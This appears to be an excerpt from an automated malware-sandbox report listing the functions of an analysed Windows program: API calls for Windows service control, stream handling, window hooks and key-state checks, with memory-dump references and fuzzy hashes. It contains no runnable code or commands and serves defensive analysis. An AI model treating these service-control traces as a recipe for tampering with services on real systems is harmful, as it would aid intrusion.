Instruction Fuzzy Hash: 9D216A7270831017C7207B71AC51FBB7798BF55764F000A1FF9A1862C1E76CAC8083AA

Function 0040B163 Relevance: 7.6, APIs: 5, Instructions: 80serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040B198
OpenServiceA.ADVAPI32(00000000,00000000,00000010,00000000,00000000,000F003F), ref: 0040B1DB
StartServiceA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000010,00000000,00000000,000F003F), ref: 0040B21E
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000010,00000000,00000000,000F003F), ref: 0040B24D
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000010,00000000,00000000,000F003F), ref: 0040B279

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ManagerStart
String ID:
API String ID: 1485051382-0
Opcode ID: facf20729bc0840b0c06498d0e3bc8e312e8d4dc4f84bf1b33efe662e56f64bb
Instruction ID: a34e0218672e0deda0959437767ee8a5c875ed93d406eb5cfd5d90b3d5ea1c53
Opcode Fuzzy Hash: facf20729bc0840b0c06498d0e3bc8e312e8d4dc4f84bf1b33efe662e56f64bb
Instruction Fuzzy Hash: BB31F774E8030CEBEB10AB959D07BEEBA31AB11715F04406AF5143A2D1D7BA1690DADB

Function 00426A84 Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00424B4A: GetWindowLongA.USER32(?,000000F0), ref: 00424B56

GetKeyState.USER32(00000010), ref: 00426AA8
GetKeyState.USER32(00000011), ref: 00426AB1
GetKeyState.USER32(00000012), ref: 00426ABA
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 00426AD0

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: f54a47382cc4b4bf7511c87140c379958cd5f606bebd4704d40ed53f0ddc7ac7
Instruction ID: e03079bda9f7fde63c62c66d652e6c3af6dd99736857206f6b22c44089721440
Opcode Fuzzy Hash: f54a47382cc4b4bf7511c87140c379958cd5f606bebd4704d40ed53f0ddc7ac7
Instruction Fuzzy Hash: FBF027B630137666E93036623C52FDA41148F41BD4F92C83BF701FA1D189D9C8025678

Function 0041A199 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40128f88ce36e062718543bb50b2675233955909ec7773344dd9aebc59edb99b
Instruction ID: 5f59e42d1a8acb6fe0c63b90ede4e9e47192470e41822b4fac6e92b9b32f1b78
Opcode Fuzzy Hash: 40128f88ce36e062718543bb50b2675233955909ec7773344dd9aebc59edb99b
Instruction Fuzzy Hash: 73F01931605109BBDB119F61CD08AEA7B68AB04384F448062FC15D5260DB79CAE6AB6B

Function 004193E0 Relevance: 3.1, APIs: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0042B950,00000000,00000001,0042B960,00000000), ref: 004193F9

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 8a85047845f74e6ae85ac3436cafe46978f10d00feb844061990757e0d106b8e
Instruction ID: bafb3ffa1178f7ca401c4b96cb4a6baf313104d05b4154ced41517dc3af581e0
Opcode Fuzzy Hash: 8a85047845f74e6ae85ac3436cafe46978f10d00feb844061990757e0d106b8e
Instruction Fuzzy Hash: 221149B4344205AFE350DB50C889FAB77E8BB98714F508918F548CB2A0D6B4EC85CB52

Function 004121F8 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

wm_BinLen.WMVERT(00000001,?,00000000,80000005), ref: 0041222F
SQLBindParameter.ODBC32(?,?,00000001,0000FFFE,0000FFFC,00000000,00000000,00000000,00000000,00000000), ref: 00412273

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: BindParameter
String ID:
API String ID: 4087294674-0
Opcode ID: 01fe50a7b6db986fd67b4f87af5c0543ca6cd7d6d2318f7bf414e429ba6c2f57
Instruction ID: 9cf55411802284e3fbdc4afb629229c83112f63516bb125913ab10a6ab9410b1
Opcode Fuzzy Hash: 01fe50a7b6db986fd67b4f87af5c0543ca6cd7d6d2318f7bf414e429ba6c2f57
Instruction Fuzzy Hash: 42115275A40209FBEF10DE90DD42BEE7774DF04704F1040A9FE04BA2C1D6B95A609B56

Function 004032F1 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

wm_GetBinData.WMVERT(00000003,00000000,00000000,80000005,0000000A,00000000,80000301,00000000,00000000,00000000,000003A8,00000001), ref: 00403368

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Data
String ID:
API String ID: 230775901-0
Opcode ID: 5a69d3c37d53d61cef5c821b34530faf98c47a0e8deb9f46c0c3f542d2ace1c3
Instruction ID: 8d43431839067452a812d22a6f5f3a519d0131a962d7f1f3261b5cbaa056b9ea
Opcode Fuzzy Hash: 5a69d3c37d53d61cef5c821b34530faf98c47a0e8deb9f46c0c3f542d2ace1c3
Instruction Fuzzy Hash: E81163B1E40308FBEB10DE95DC92B9E7BA89B04715F10447AFA08BA2C1DB795B548B49

Function 004092B1 Relevance: 61.6, APIs: 25, Strings: 10, Instructions: 396COMMON

Download Yara Rule

APIs

wm_ObjCreateObject.WMVERT(00000003,00000000,00000000,00010030,Adodb.Stream,00000000,80000004,00000000,00000000,00000000), ref: 00409341
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Type,00000000,80000004,00000001,00000000,80000301), ref: 00409375
wm_ObjRunMethod.WMVERT(00000003,00000000,00000000,00010030,Open,00000000,80000004,00000000,00000000,00000000), ref: 004093A3
wm_SetVariantType.WMVERT(00000002,?,00000000,00010031,00000007,00000000,80000301), ref: 004093CB
wm_BinLen.WMVERT(00000001,00000000,00000000,80000005), ref: 004093F3
wm_VariantCreateArray.WMVERT(00000003,?,00000000,00010031,00000001,00000000,80000301,00000000,00000000,80000301), ref: 00409423
wm_VariantSet.WMVERT(00000003,?,00000000,00010031,00000000,00000000,80000005,00000000,00000000,00000000), ref: 0040945B
wm_ObjRunMethod.WMVERT(00000003,00000000,00000000,00010030,Write,00000000,80000004,?,00000000,20010031), ref: 0040948E
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Position,00000000,80000004,00000000,00000000,80000301), ref: 004094C2
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Type,00000000,80000004,00000002,00000000,80000301), ref: 004094F6
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Charset,00000000,80000004,00000000,00000000,A0000004), ref: 00409528
wm_ObjRunTextMethod.WMVERT(00000003,00000000,00000000,00010030,ReadText,00000000,80000004,00000000,00000000,00000000), ref: 00409556
wm_ObjRunMethod.WMVERT(00000003,00000000,00000000,00010030,Close,00000000,80000004,00000000,00000000,00000000), ref: 0040959F
wm_ObjRunMethod.WMVERT(00000003,00000000,00000000,00010030,Open,00000000,80000004,00000000,00000000,00000000), ref: 004095CD
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Charset,00000000,80000004,00000000,00000000,A0000004), ref: 004095FF
wm_ObjRunMethod.WMVERT(00000003,00000000,00000000,00010030,WriteText,00000000,80000004,00000000,00000000,A0000004), ref: 00409632
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Position,00000000,80000004,00000000,00000000,80000301), ref: 00409666
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Type,00000000,80000004,00000001,00000000,80000301), ref: 0040969A
wm_ObjSetProperty.WMVERT(00000003,00000000,00000000,00010030,Position,00000000,80000004,?,00000000,A0000301), ref: 004096E6
wm_RunVariantMethod.WMVERT(00000003,00000000,00000000,00010030,Read,00000000,80000004,00000000,00000000,00000000), ref: 00409714
wm_VariantGetBin.WMVERT(00000002,?,00000000,00010031,00000000,00000000,00000000), ref: 00409739
wm_VariantClear.WMVERT(00000001,?,00000000,00010031,?), ref: 00409757
wm_ObjClear.WMVERT(00000001,00000000,00000000,00010030,?,?,?,?,?), ref: 00409793
wm_ObjClear.WMVERT(00000001,00000000,00000000,00010030,00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 004097CE
wm_VariantClear.WMVERT(00000001,?,00000000,00010031,?,?,?,?,00000000,00000000), ref: 004097F1

Strings

WriteText, xrefs: 00409619
Type, xrefs: 0040935C, 004094DD, 00409681
Position, xrefs: 004094A9, 0040964D, 004096CD
Read, xrefs: 004096FB
Close, xrefs: 00409586
Write, xrefs: 00409475
Open, xrefs: 0040938A, 004095B4
ReadText, xrefs: 0040953D
Charset, xrefs: 0040950F, 004095E6
Adodb.Stream, xrefs: 00409328

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Property$MethodVariant$Clear$Create$ArrayObjectTextType
String ID: Adodb.Stream$Charset$Close$Open$Position$Read$ReadText$Type$Write$WriteText
API String ID: 3571854155-2122885607
Opcode ID: cb00f53f0b8a98f0972b1df9bea858640bef6e70ed777d15178081d26d72be1c
Instruction ID: db56fa0cc8d77ac93737b53264c043ed162f50a77541b24f4c39530e6f4f142e
Opcode Fuzzy Hash: cb00f53f0b8a98f0972b1df9bea858640bef6e70ed777d15178081d26d72be1c
Instruction Fuzzy Hash: 45D112B1FC1304BBFB269A918D93F997564AB1CF04F240025FB047D2C2D6FA6A90875E

Function 00410860 Relevance: 37.2, APIs: 20, Strings: 1, Instructions: 498servicememoryCOMMON

Download Yara Rule

APIs

wm_GetTickCount.WMVERT(00000000), ref: 00410926
OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0041094F
OpenServiceA.ADVAPI32(00000000,00000000,0000002C,00000000,00000000,80000000), ref: 00410992
EnumDependentServicesA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 004109E0
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,0000002C,00000000,00000000,80000000), ref: 00410A11
EnumDependentServicesA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 00410A53
wm_pbin.WMVERT(00000002,00000000,00000000,80000301,00000024,00000000,80000301,00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00410AFB
RtlMoveMemory.KERNEL32(00000000,00000000,00000000,00000000,0000002C,00000000,00000000,80000000), ref: 00410BB2
wm_pstr.WMVERT(00000001,?,00000000,80000301,00000000,00000000,00000000,00000000,0000002C,00000000,00000000,80000000), ref: 00410C69
wm_BOr.WMVERT(00000002,00000020,00000000,80000301,00000004,00000000,80000301,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 00410C96
OpenServiceA.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410CB2
ControlService.ADVAPI32(00000000,00000001,?,00000000,?,?), ref: 00410CFF
wm_Sleep.WMVERT(00000001,?,00000000,80000301,00000000,00000001,?,?,00000000,?,?), ref: 00410D5C
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,00000000,00000001,?,?,00000000,?,?), ref: 00410D72
CloseServiceHandle.ADVAPI32(00000000,00000000,00000001,?,00000000,?,?), ref: 00410E20

Strings

0u, xrefs: 00410931

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$Open$DependentEnumServices$AllocCloseControlCountGlobalHandleManagerMemoryMoveQuerySleepStatusTickwm_pbinwm_pstr
String ID: 0u
API String ID: 349204849-3203441087
Opcode ID: 392ac8fe57e32eedf502ef21af0387b9357b70df7a61d7a7f924131444a59788
Instruction ID: 17de9d56c793f79031863011a08ed03d01e08c7fd487b2b9a71cfab11616697b
Opcode Fuzzy Hash: 392ac8fe57e32eedf502ef21af0387b9357b70df7a61d7a7f924131444a59788
Instruction Fuzzy Hash: C702FFB1E40309EBEF00DF95EC82BDEBB75EF19714F14002AF5057A281D6B969A0CB56

Function 0040C307 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 378servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040C375
OpenServiceA.ADVAPI32(00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040C3B8
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040C3FF
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040C430
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040C469
RtlMoveMemory.KERNEL32(?,00000000,00000024,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0040C4AA
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,00000000,00000024,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000), ref: 0040C4EA
wm_UCase.WMVERT(00000001,?,00000000,80000004,00000001,00000000,00000000,80000000), ref: 0040C513
wm_UCase.WMVERT(00000001,localservice,00000000,80000004,?,?,?,?,00000001,00000000,00000000,80000000), ref: 0040C55C
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040C5AB
wm_UCase.WMVERT(00000001,Networkservice,00000000,80000004), ref: 0040C605
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040C654
wm_UCase.WMVERT(00000001,localsystem,00000000,80000004), ref: 0040C6AE
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040C6FD
wm_DoEvents.WMVERT(00000000), ref: 0040C746
GlobalFree.KERNEL32(00000000), ref: 0040C759
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0040C785
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040C7B1

Strings

localsystem, xrefs: 0040C69F
Networkservice, xrefs: 0040C5F6
localservice, xrefs: 0040C54D

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$Case$CloseConfigGlobalHandleOpenQuery$AllocEventsFreeManagerMemoryMovewm_pstr
String ID: Networkservice$localservice$localsystem
API String ID: 1964114108-3593476076
Opcode ID: 47c548486925a859eaf49d4d3a58a15613f2c43628f1d1f28688f6736f47dcb4
Instruction ID: 119869225403ef567738f36b274dbb0249eb215b0af9266fba84b9cda2ee2064
Opcode Fuzzy Hash: 47c548486925a859eaf49d4d3a58a15613f2c43628f1d1f28688f6736f47dcb4
Instruction Fuzzy Hash: 65C168B1E40304FBEB10DBA59C82BDE76B4AB18714F54013EFA04BA3C1D67A5D508B6E

Function 004253FC Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 170stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00429105: TlsGetValue.KERNEL32(?,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?,00000100,?,00000000), ref: 00429144

CallNextHookEx.USER32(?,00000003,?,?), ref: 00425426
GetClassLongA.USER32(?,000000E6), ref: 0042546D
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 00425499
lstrcmpiA.KERNEL32(?,ime), ref: 004254A8
GetWindowLongA.USER32(?,000000FC), ref: 0042551B
SetWindowLongA.USER32(?,000000FC,00000000), ref: 0042553C

Strings

ime, xrefs: 004254A2
AfxOldWndProc423, xrefs: 0042557D, 00425582, 0042558D, 00425595, 0042559E

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Long$Window$AtomCallClassGlobalHookNameNextValuelstrcmpi
String ID: AfxOldWndProc423$ime
API String ID: 3731301195-104836986
Opcode ID: 0227b8d65140ba4771307f796e7716a4abcd82d711ea74f39f382cd4d9090a40
Instruction ID: d735346cb58212e88c47290ca0f2824a0759ceff2d1a699c296902211402868f
Opcode Fuzzy Hash: 0227b8d65140ba4771307f796e7716a4abcd82d711ea74f39f382cd4d9090a40
Instruction Fuzzy Hash: 5351C231700635FBCB219F64EC48B6B7BB9BF04761F944165F806A6290C738DD91CB98

Function 00426C62 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00424B4A: GetWindowLongA.USER32(?,000000F0), ref: 00424B56

GetParent.USER32(?), ref: 00426C8D
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 00426CB0
GetWindowRect.USER32(?,?), ref: 00426CC9
GetWindowLongA.USER32(00000000,000000F0), ref: 00426CDC
CopyRect.USER32(?,?), ref: 00426D29
CopyRect.USER32(?,?), ref: 00426D33
GetWindowRect.USER32(00000000,?), ref: 00426D3C
CopyRect.USER32(?,?), ref: 00426D58

Strings

(, xrefs: 00426CF4
@, xrefs: 00426CCB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: ($@
API String ID: 808654186-1311469180
Opcode ID: 241db0ea325bcedddbdc8f4801013b733772e2f8e1598bcc04eaec3148f23f00
Instruction ID: a52ec7fd6f30958a43e06074b60d9e5c635bde2c777bccaf63f21648c4a72d55
Opcode Fuzzy Hash: 241db0ea325bcedddbdc8f4801013b733772e2f8e1598bcc04eaec3148f23f00
Instruction Fuzzy Hash: CF517471B00229ABCB10DBA8DD45FEEBBB9EF44310F554166E901F3290D638AD06CB69

Function 0041A06B Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,0041A1A4), ref: 0041A08D
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 0041A0A5
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0041A0B6
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0041A0C7
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0041A0D8
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0041A0E9
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0041A0FA

Strings

EnumDisplayMonitors, xrefs: 0041A0E3
MonitorFromRect, xrefs: 0041A0C1
MonitorFromWindow, xrefs: 0041A0B0
USER32, xrefs: 0041A088
MonitorFromPoint, xrefs: 0041A0D2
GetMonitorInfoA, xrefs: 0041A0F4
GetSystemMetrics, xrefs: 0041A09F

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: 9c6be42ce63c1f6546d99f8eda62264d06e938f190331bf6804c7be2a6db4e09
Instruction ID: 1f06556ceb841762e53fcf3c137d6e06c311e8f1b050847acda9d69d7859becb
Opcode Fuzzy Hash: 9c6be42ce63c1f6546d99f8eda62264d06e938f190331bf6804c7be2a6db4e09
Instruction Fuzzy Hash: AF1149B8BC5220AB83119F29BDC196ABAE4B34A7507A5053FD404D2270EF7C44E69F1E

Function 0041FD04 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0042B850,00000001,00000000,00000000,0002E08A,00443448,?,?,?,00421E51,?,?,?,00000000), ref: 0041FD46
LCMapStringA.KERNEL32(00000000,00000100,0042B84C,00000001,00000000,00000000,?,?,00421E51,?,?,?,00000000,00000001), ref: 0041FD62
LCMapStringA.KERNEL32(?,?,?,00421E51,?,?,0002E08A,00443448,?,?,?,00421E51,?,?,?,00000000), ref: 0041FDAB
MultiByteToWideChar.KERNEL32(?,H4D,?,00421E51,00000000,00000000,0002E08A,00443448,?,?,?,00421E51,?,?,?,00000000), ref: 0041FDE3
